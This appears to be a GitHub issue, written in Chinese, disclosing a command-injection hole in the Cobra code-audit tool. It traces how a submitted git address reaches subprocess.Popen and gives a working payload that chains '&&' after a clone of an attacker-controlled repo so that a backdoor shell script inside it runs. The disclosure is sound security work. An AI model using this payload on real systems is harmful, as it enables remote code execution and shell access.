You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Nov 28, 2023. It is now read-only.
漏洞描述:
通过cobra Web控制台提交可控的git地址,即可获取cobra系统的shell,权限与cobra运行权限一致。
漏洞细节:
正常工作流程
1)在cobra Web首页输入的git地址,即target:
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/utils.py#L48-L51
2)会先经过如下正则的校验:
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/utils.py#L131
3)然后作为如下调用代码Git的输入参数:
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/utils.py#L157-L161
4)最后通过subprocess.Popen执行,其中cmd的值中包括clone_address,即self.repo_address就是前面所提交的git地址。
https://github.com/WhaleShark-Team/cobra/blob/5e2b9bf7418490a901d5d7cdc48f622717655f39/cobra/pickup.py#L399-L401
由于前面的正则表达式比较严格,但仍然允许/ . &等字符。所以构造如下git地址:
https://github.com/chengchong010/shell.git&&./shell/shell.py&&id
两个细节:
1)shell.git是可控项目,项目中可以包括有正向或者反弹性功能的后门shell,并将后门文件属性增加可执行权限。
2)通过调试可以知道,按官方文档默认cobra的git clone过去项目的默认目录与cobra项目同级。
所以提交git后。系统最后会顺利通过正则检查,并执行如下指令:
[18:17:02] [INFO] [PICKUP] [CLONE]
git clone https://github.com/chengchong010/shell.git&&./shell/shell.py&&id "/tmp/cobra/git/chengchong010/shell&&./shell/shell.py&&id" -b master
在成功git clone完shell项目后,便可执行项目中的shell后门文件,再后面的指令可以忽略。
安全建议:
对输入参数进行更严格的校验。
The text was updated successfully, but these errors were encountered: